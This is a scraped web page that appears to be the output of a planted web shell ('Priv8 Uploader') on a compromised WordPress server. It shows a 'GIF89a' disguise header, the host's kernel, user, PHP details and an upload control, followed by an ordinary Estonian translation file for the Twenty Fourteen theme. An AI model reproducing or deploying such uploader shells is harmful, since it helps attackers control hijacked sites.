GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3

Priv8 Uploader By InMyMine7

Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
HEX
HEX
Server: Apache/2
System: Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
User: bs3263 (524)
PHP: 7.3.5
Disabled: NONE
Upload Files
File: /home/bs3263/domains/poolq.ee/old_old/wp-content/languages/themes/twentyfourteen-et.po
# Translation of Twenty Fourteen in Estonian
# This file is distributed under the same license as the Twenty Fourteen package.
msgid ""
msgstr ""
"PO-Revision-Date: 2014-05-19 19:04:44+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/0.1\n"
"Project-Id-Version: Twenty Fourteen\n"

#: inc/customizer.php:102
msgid "The home page features your choice of up to 6 posts prominently displayed in a grid or slider, controlled by a <a href=\"%1$s\">tag</a>; you can change the tag and layout in <a href=\"%2$s\">Appearance &rarr; Customize</a>. If no posts match the tag, <a href=\"%3$s\">sticky posts</a> will be displayed instead."
msgstr "Esileht pakub võimalust kuvada sinu valikul kuni 6 postitust slaiderina või ruutpesiti. Esiletoodavad positused määrab <a href=\"%1$s\">silt</a>, selle ja paigutuse saad määrata <a href=\"%2$s\">Välimus &rarr; Kohanda</a> alt. Kui määratud sildiga postitusi pole, kuvatakse nende asemel <a href=\"%3$s\">kinnistatud postitusi</a>."

#: inc/widgets.php:59
msgid "More videos"
msgstr "Veel videoid"

#: inc/widgets.php:63
msgid "More audio"
msgstr "Veel audiot"

#: inc/widgets.php:67
msgid "More quotes"
msgstr "Veel tsitaate"

#: inc/widgets.php:71
msgid "More links"
msgstr "Veel linke"

#: inc/widgets.php:75
msgid "More galleries"
msgstr "Veel galeriisid"

#: inc/widgets.php:80
msgid "More asides"
msgstr "Veel kõrvalpostitusi"

#. translators: used with More archives link
#: inc/widgets.php:206
msgid "%s <span class=\"meta-nav\">&rarr;</span>"
msgstr "%s <span class=\"meta-nav\">&rarr;</span>"

#: inc/customizer.php:37 inc/customizer.php:102 inc/featured-content.php:407
#: inc/featured-content.php:416 inc/featured-content.php:476
msgctxt "featured content default tag slug"
msgid "featured"
msgstr "featured"

#: inc/widgets.php:36
msgid "Use this widget to list your recent Aside, Quote, Video, Audio, Image, Gallery, and Link posts."
msgstr "Kasuta seda moodulit kuvamaks viimaseid Kõrval, Tsitaat, Video, Audio, Pilt, Galerii ja Viide tüüpi postitusi."

#. Theme URI of the plugin/theme
msgid "http://wordpress.org/themes/twentyfourteen"
msgstr "http://wordpress.org/themes/twentyfourteen"

#: inc/customizer.php:36 inc/featured-content.php:406
msgid "Use a <a href=\"%1$s\">tag</a> to feature your posts. If no posts match the tag, <a href=\"%2$s\">sticky posts</a> will be displayed instead."
msgstr "Kasuta <a href=\"%1$s\">silte</a> näitamaks/esitlemaks oma postitusi. Kui ükski postitus ei vasta sildile kuvatakse<a href=\"%2$s\">kinnistatud postitus</a> ."

#: 404.php:17
msgid "Not Found"
msgstr "Ei leitud"

#: inc/customizer.php:31
msgid "Display Site Title &amp; Tagline"
msgstr "Kuva lehekülje nimetus ja moto"

#: inc/customizer.php:104
msgid "For an in-depth tutorial, and more tips and tricks, visit the <a href=\"%s\">Twenty Fourteen documentation</a>."
msgstr "Detailsema õpetuse, nõuanded ja nipid  leiab <a href=\"%s\">Twenty Fourteen'i dokumentatsioonist</a>."

#: archive.php:34
msgctxt "monthly archives date format"
msgid "F Y"
msgstr "F Y"

#: archive.php:37
msgctxt "yearly archives date format"
msgid "Y"
msgstr "Y"

#: inc/customizer.php:28
msgid "Site Title Color"
msgstr "Lehekülje pealkirja värv"

#: inc/featured-content.php:428
msgid "Tag Name"
msgstr "Sildi nimi"

#: inc/featured-content.php:433
msgid "Don&rsquo;t display tag on front end."
msgstr "Ära kuva silti"

#. Description of the plugin/theme
msgid "In 2014, our default theme lets you create a responsive magazine website with a sleek, modern design. Feature your favorite homepage content in either a grid or a slider. Use the three widget areas to customize your website, and change your content's layout with a full-width page template and a contributor page to show off your authors. Creating a magazine website with WordPress has never been easier."
msgstr "Aastal 2014 lubab meie vaikimisi teema sul luua kohalduvat ajakirja-stiilis lehekülge kaasaegse välimusega. Näita oma lemmik kodulehe sisu, kas slaideris või ruutpesiti. Kasuta kolme mooduli ala, et kohandada oma lehekülge; muuda sisu ülesehitust kasutades täislaiusega lehekülje põhja või kaasautorite lehepõhja tutvustamaks oma autoreid. Pole midagi lihtsamat, kui luua ajakirja-stiilis veebileht kasutades WordPressi."

#: functions.php:254
msgid "Previous"
msgstr "Eelmine"

#: functions.php:255
msgid "Next"
msgstr "Järgmine"

#: 404.php:21
msgid "It looks like nothing was found at this location. Maybe try a search?"
msgstr "Siit ei leitud midagi. Äkki proovid otsingut?"

#: author.php:31
msgid "All posts by %s"
msgstr "Kõik %s'i postitused"

#: content-aside.php:17 content-audio.php:17 content-featured-post.php:28
#: content-gallery.php:17 content-image.php:17 content-link.php:17
#: content-quote.php:17 content-video.php:17 content.php:19
msgctxt "Used between list items, there is a space after the comma."
msgid ", "
msgstr ","

#: functions.php:182
msgid "Additional sidebar that appears on the right."
msgstr "Parempoolne küljepaan"

#: functions.php:189
msgid "Footer Widget Area"
msgstr "Jaluse mooduli ala"

#: functions.php:191
msgid "Appears in the footer section of the site."
msgstr "Näidatakse lehekülje jaluses"

#: functions.php:372
msgid "%d Article"
msgid_plural "%d Articles"
msgstr[0] "%d artikkel"
msgstr[1] "%d artiklit"

#: image.php:65
msgid "Previous Image"
msgstr "Eelmine pilt"

#: image.php:66
msgid "Next Image"
msgstr "Järgmine pilt"

#: inc/back-compat.php:37 inc/back-compat.php:47 inc/back-compat.php:60
msgid "Twenty Fourteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again."
msgstr "Twenty Fourteen nõuab vähemalt WordPressi versiooni 3.6. Hetkel on kasutusel versioon %s.  Palun uuenda ja proovi uuesti."

#: inc/customizer.php:19 inc/customizer.php:20
msgid "Background may only be visible on wide screens."
msgstr "Taust võib olla nähtav ainult laiadel ekraanidel"

#: inc/customizer.php:35 inc/featured-content.php:405
msgid "Featured Content"
msgstr "Esiletoodud sisu"

#: inc/customizer.php:50
msgid "Layout"
msgstr "Ülesehitus"

#: inc/customizer.php:54
msgid "Grid"
msgstr "Ruutpesiti"

#: inc/customizer.php:55
msgid "Slider"
msgstr "Slaider"

#: inc/customizer.php:103
msgid "Enhance your site design by using <a href=\"%s\">Featured Images</a> for posts you&rsquo;d like to stand out (also known as post thumbnails). This allows you to associate an image with your post without inserting it. Twenty Fourteen uses featured images for posts and pages&mdash;above the title&mdash;and in the Featured Content area on the home page."
msgstr "Muuda oma saidi sisu paremini esile tulevaks kasutades postituste juures <a href=\"%s\">Tunnuspilti</a>. Nii saad siduda postitusega pildi ilma seda teksti sisse lisamata. Twenty Fourteen kasutab tunnuspilte postituste ja lehtede juures&mdash;pealkirja kohal&mdash;ja Esiletoodud sisu alas esilehel."

#: inc/template-tags.php:58
msgid "Posts navigation"
msgstr "Postituste töölaud"

#: inc/template-tags.php:89
msgid "<span class=\"meta-nav\">Published In</span>%title"
msgstr "<span class=\"meta-nav\">Postitatud </span>%title"

#: inc/template-tags.php:91
msgid "<span class=\"meta-nav\">Previous Post</span>%title"
msgstr "<span class=\"meta-nav\">Eelmine postitus</span>%title"

#: inc/template-tags.php:92
msgid "<span class=\"meta-nav\">Next Post</span>%title"
msgstr "<span class=\"meta-nav\">Järgmine postitus</span>%title"

#: inc/widgets.php:34
msgid "Twenty Fourteen Ephemera"
msgstr "Twenty Fourteen efemeriid"

#: inc/widgets.php:62 taxonomy-post_format.php:39
msgid "Audio"
msgstr "Audio"

#: inc/widgets.php:162
msgid "This gallery contains <a href=\"%1$s\" rel=\"bookmark\">%2$s photo</a>."
msgid_plural "This gallery contains <a href=\"%1$s\" rel=\"bookmark\">%2$s photos</a>."
msgstr[0] "Galeriis on <a href=\"%1$s\" rel=\"bookmark\">%2$s foto</a>."
msgstr[1] "Galeriis on <a href=\"%1$s\" rel=\"bookmark\">%2$s fotot</a>."

#: inc/widgets.php:255
msgid "Title:"
msgstr "Pealkiri:"

#: inc/widgets.php:258
msgid "Number of posts to show:"
msgstr "Mitut postitust näidatakse:"

#: inc/widgets.php:261
msgid "Post format to show:"
msgstr "Postituse formaat, mida näidatakse:"

#. Template Name of the plugin/theme
msgid "Contributor Page"
msgstr "Kaasautori leht"

#: category.php:20
msgid "Category Archives: %s"
msgstr "Rubriigiarhiiv: %s"

#: tag.php:22
msgid "Tag Archives: %s"
msgstr "Sildiarhiiv: %s"

#: archive.php:31
msgid "Daily Archives: %s"
msgstr "Arhiiv kuupäevade lõikes: %"

#: archive.php:34
msgid "Monthly Archives: %s"
msgstr "Arhiiv kuude lõikes: %s"

#: archive.php:37
msgid "Yearly Archives: %s"
msgstr "Arhiiv aastate lõikes: %s"

#: archive.php:40 taxonomy-post_format.php:51
msgid "Archives"
msgstr "Arhiiv"

#: comments.php:27
msgid "One thought on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
msgstr[0] "Üks arvamus &ldquo;%2$s&rdquo;"
msgstr[1] "%1$s arvamust &ldquo;%2$s&rdquo;"

#: comments.php:34 comments.php:52
msgid "Comment navigation"
msgstr "Kommentaaride töölaud"

#: comments.php:35 comments.php:53
msgid "&larr; Older Comments"
msgstr "&larr; Vanemad kommentaarid"

#: comments.php:36 comments.php:54
msgid "Newer Comments &rarr;"
msgstr "Uuemad kommentaarid &rarr;"

#: comments.php:59
msgid "Comments are closed."
msgstr "Kommenteerimine on suletud."

#: content-aside.php:48 content-audio.php:48 content-gallery.php:48
#: content-image.php:48 content-link.php:48 content-page.php:22
#: content-quote.php:48 content-video.php:48 content.php:56 image.php:54
msgid "Pages:"
msgstr "Lehed:"

#: content-aside.php:40 content-audio.php:40 content-gallery.php:40
#: content-image.php:40 content-link.php:40 content-page.php:28
#: content-quote.php:40 content-video.php:40 content.php:42 image.php:34
#: page-templates/contributors.php:35
msgid "Edit"
msgstr "Muuda"

#: content-aside.php:37 content-audio.php:37 content-gallery.php:37
#: content-image.php:37 content-link.php:37 content-quote.php:37
#: content-video.php:37 content.php:38 inc/widgets.php:194
msgid "Leave a comment"
msgstr "Lisa kommentaar"

#: content-aside.php:37 content-audio.php:37 content-gallery.php:37
#: content-image.php:37 content-link.php:37 content-quote.php:37
#: content-video.php:37 content.php:38 inc/widgets.php:194
msgid "1 Comment"
msgstr "1 kommentaar"

#: content-aside.php:37 content-audio.php:37 content-gallery.php:37
#: content-image.php:37 content-link.php:37 content-quote.php:37
#: content-video.php:37 content.php:38 inc/widgets.php:194
msgid "% Comments"
msgstr "% kommentaari"

#: content-aside.php:46 content-audio.php:46 content-gallery.php:46
#: content-image.php:46 content-link.php:46 content-quote.php:46
#: content-video.php:46 content.php:54 inc/widgets.php:127 inc/widgets.php:172
msgid "Continue reading <span class=\"meta-nav\">&rarr;</span>"
msgstr "Jätka lugemist <span class=\"meta-nav\">&rarr;</span>"

#. #-#-#-#-#  twentyfourteen.pot (Twenty Fourteen 1.2)  #-#-#-#-#
#. Author URI of the plugin/theme
#: footer.php:21
msgid "http://wordpress.org/"
msgstr "http://wordpress.org/"

#: footer.php:21
msgid "Proudly powered by %s"
msgstr "Kasutame %si"

#: functions.php:83
msgid "Top primary menu"
msgstr "Ülemine peamenüü"

#: functions.php:84
msgid "Secondary menu in left sidebar"
msgstr "Täiendav menüü vasakul külgpaanil"

#: functions.php:171
msgid "Primary Sidebar"
msgstr "Peamine küljepaan"

#: functions.php:173
msgid "Main sidebar that appears on the left."
msgstr "Vasak peamine küljepaan."

#: functions.php:180
msgid "Content Sidebar"
msgstr "Sisu küljepaan"

#: functions.php:213
msgctxt "Lato font: on or off"
msgid "on"
msgstr "on"

#: functions.php:491
msgid "Page %s"
msgstr "Leht %s"

#: header.php:48
msgid "Search"
msgstr "Otsi"

#: header.php:52
msgid "Primary Menu"
msgstr "Peamenüü"

#: header.php:53
msgid "Skip to content"
msgstr "Liigu sisu juurde"

#: inc/template-tags.php:85
msgid "Post navigation"
msgstr "Postituste töölaud"

#: inc/template-tags.php:50
msgid "&larr; Previous"
msgstr "&larr; eelmine"

#: inc/template-tags.php:51
msgid "Next &rarr;"
msgstr "Järgmine &rarr;"

#: inc/template-tags.php:109
msgid "Sticky"
msgstr "Kinnistatud"

#: content-none.php:12
msgid "Nothing Found"
msgstr "Midagi ei leitud"

#: content-none.php:18
msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>."
msgstr "Valmis esimese postituse avaldamiseks? <a href=\"%1$s\">Alusta siit</a>."

#: content-none.php:22
msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords."
msgstr "Kahjuks ei leidnud vastet otsitavale. Proovi uuesti mõne muu märksõnaga"

#: content-none.php:27
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "Tundub, et me ei leia, mida otsite. Võibolla otsingumootor aitab."

#: inc/widgets.php:58 taxonomy-post_format.php:36
msgid "Videos"
msgstr "Videod"

#: inc/widgets.php:54 taxonomy-post_format.php:33
msgid "Images"
msgstr "Pildid"

#: inc/widgets.php:55
msgid "More images"
msgstr "Veel pilte"

#: inc/widgets.php:74 taxonomy-post_format.php:48
msgid "Galleries"
msgstr "Galeriid"

#: inc/widgets.php:79 taxonomy-post_format.php:30
msgid "Asides"
msgstr "Kõrvalpaanisisu"

#: inc/widgets.php:70 taxonomy-post_format.php:45
msgid "Links"
msgstr "Viited"

#: inc/widgets.php:66 taxonomy-post_format.php:42
msgid "Quotes"
msgstr "Tsitaadid"

#: search.php:18
msgid "Search Results for: %s"
msgstr "Otsitulemused: %s"

#. #-#-#-#-#  twentyfourteen.pot (Twenty Fourteen 1.2)  #-#-#-#-#
#. Theme Name of the plugin/theme
#: inc/customizer.php:99
msgid "Twenty Fourteen"
msgstr "Twenty Fourteen"

#. Author of the plugin/theme
msgid "the WordPress team"
msgstr "WordPressi meeskond"

#. Template Name of the plugin/theme
msgid "Full Width Page"
msgstr "Täis laiusega leht"